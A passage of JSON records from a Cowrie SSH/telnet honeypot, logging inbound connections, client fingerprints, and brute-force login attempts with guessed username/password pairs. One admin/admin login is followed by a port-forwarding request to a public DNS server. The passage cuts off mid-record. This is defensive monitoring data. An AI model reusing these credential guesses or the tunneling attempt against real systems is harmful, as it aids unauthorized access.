{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41890,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eec895fa1b1","protocol":"telnet","message":"New connection: 152.42.224.71:41890 (10.17.0.5:23) [session: 0eec895fa1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:07:59.812730Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:00.247036Z","src_ip":"193.32.162.145","session":"bb02604cef38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41896,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9ec02e292b6","protocol":"telnet","message":"New connection: 152.42.224.71:41896 (10.17.0.5:23) [session: a9ec02e292b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:00.296969Z"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"admin","message":"login attempt [sammy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:00.516248Z","src_ip":"43.128.111.187","session":"d82f431746ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:01.764852Z","src_ip":"43.128.111.187","session":"d82f431746ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":54374,"dst_ip":"10.17.0.5","dst_port":22,"session":"32239ecd2b18","protocol":"ssh","message":"New connection: 43.153.124.153:54374 (10.17.0.5:22) [session: 32239ecd2b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:09.662955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:09.667567Z","src_ip":"43.153.124.153","session":"32239ecd2b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:09.735563Z","src_ip":"43.153.124.153","session":"32239ecd2b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luan123","message":"login attempt [root/luan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:10.074888Z","src_ip":"43.153.124.153","session":"32239ecd2b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:11.147171Z","src_ip":"43.153.124.153","session":"32239ecd2b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":34528,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b626d6e7025","protocol":"ssh","message":"New connection: 154.83.13.181:34528 (159.203.135.109:22) [session: 5b626d6e7025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:13.764692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:13.769614Z","src_ip":"154.83.13.181","session":"5b626d6e7025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:13.981194Z","src_ip":"154.83.13.181","session":"5b626d6e7025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40130,"dst_ip":"10.17.0.5","dst_port":22,"session":"5464f1a4643e","protocol":"ssh","message":"New connection: 103.82.132.16:40130 (10.17.0.5:22) [session: 5464f1a4643e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:14.753747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:14.758924Z","src_ip":"103.82.132.16","session":"5464f1a4643e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!","message":"login attempt [root/1234qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:14.853410Z","src_ip":"154.83.13.181","session":"5b626d6e7025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:15.024036Z","src_ip":"103.82.132.16","session":"5464f1a4643e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcjnf","message":"login attempt [root/rhfcjnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:15.828130Z","src_ip":"103.82.132.16","session":"5464f1a4643e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:16.067644Z","src_ip":"154.83.13.181","session":"5b626d6e7025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:17.096251Z","src_ip":"103.82.132.16","session":"5464f1a4643e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":57568,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0b3ff2c409","protocol":"ssh","message":"New connection: 197.248.104.31:57568 (10.17.0.5:22) [session: be0b3ff2c409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:19.585991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:19.589332Z","src_ip":"197.248.104.31","session":"be0b3ff2c409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:19.799513Z","src_ip":"197.248.104.31","session":"be0b3ff2c409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mistress","message":"login attempt [root/mistress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:20.672690Z","src_ip":"197.248.104.31","session":"be0b3ff2c409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:21.887815Z","src_ip":"197.248.104.31","session":"be0b3ff2c409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16556,"dst_ip":"10.17.0.5","dst_port":22,"session":"610b904e05ab","protocol":"ssh","message":"New connection: 87.251.64.176:16556 (10.17.0.5:22) [session: 610b904e05ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:23.398787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:23.403944Z","src_ip":"87.251.64.176","session":"610b904e05ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:23.500945Z","src_ip":"87.251.64.176","session":"610b904e05ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00116038322449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:23.579518Z","src_ip":"152.42.224.71","session":"0208f928606f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:23.794714Z","src_ip":"87.251.64.176","session":"610b904e05ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:23.894180Z","session":"610b904e05ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:23.991894Z","src_ip":"87.251.64.176","session":"610b904e05ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:24.089991Z","src_ip":"87.251.64.176","session":"610b904e05ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":49634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb5e9b77c85","protocol":"ssh","message":"New connection: 43.153.69.201:49634 (10.17.0.5:22) [session: ffb5e9b77c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:29.410312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:29.415047Z","src_ip":"43.153.69.201","session":"ffb5e9b77c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:29.483051Z","src_ip":"43.153.69.201","session":"ffb5e9b77c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3com","message":"login attempt [root/3com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:29.785880Z","src_ip":"43.153.69.201","session":"ffb5e9b77c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:30.857401Z","src_ip":"43.153.69.201","session":"ffb5e9b77c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":38122,"dst_ip":"159.203.135.109","dst_port":22,"session":"db7c8712d915","protocol":"ssh","message":"New connection: 43.159.169.93:38122 (159.203.135.109:22) [session: db7c8712d915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:37.524940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:37.529940Z","src_ip":"43.159.169.93","session":"db7c8712d915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00149703025818,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:37.553494Z","src_ip":"152.42.224.71","session":"c114feb467f6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:37.598682Z","src_ip":"43.159.169.93","session":"db7c8712d915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dasusr1","password":"passw0rd","message":"login attempt [dasusr1/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:37.904921Z","src_ip":"43.159.169.93","session":"db7c8712d915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:38.977411Z","src_ip":"43.159.169.93","session":"db7c8712d915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":56492,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0e0064529b1","protocol":"ssh","message":"New connection: 170.106.119.118:56492 (10.17.0.5:22) [session: b0e0064529b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:39.920875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:08:39.926515Z","src_ip":"170.106.119.118","session":"b0e0064529b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-n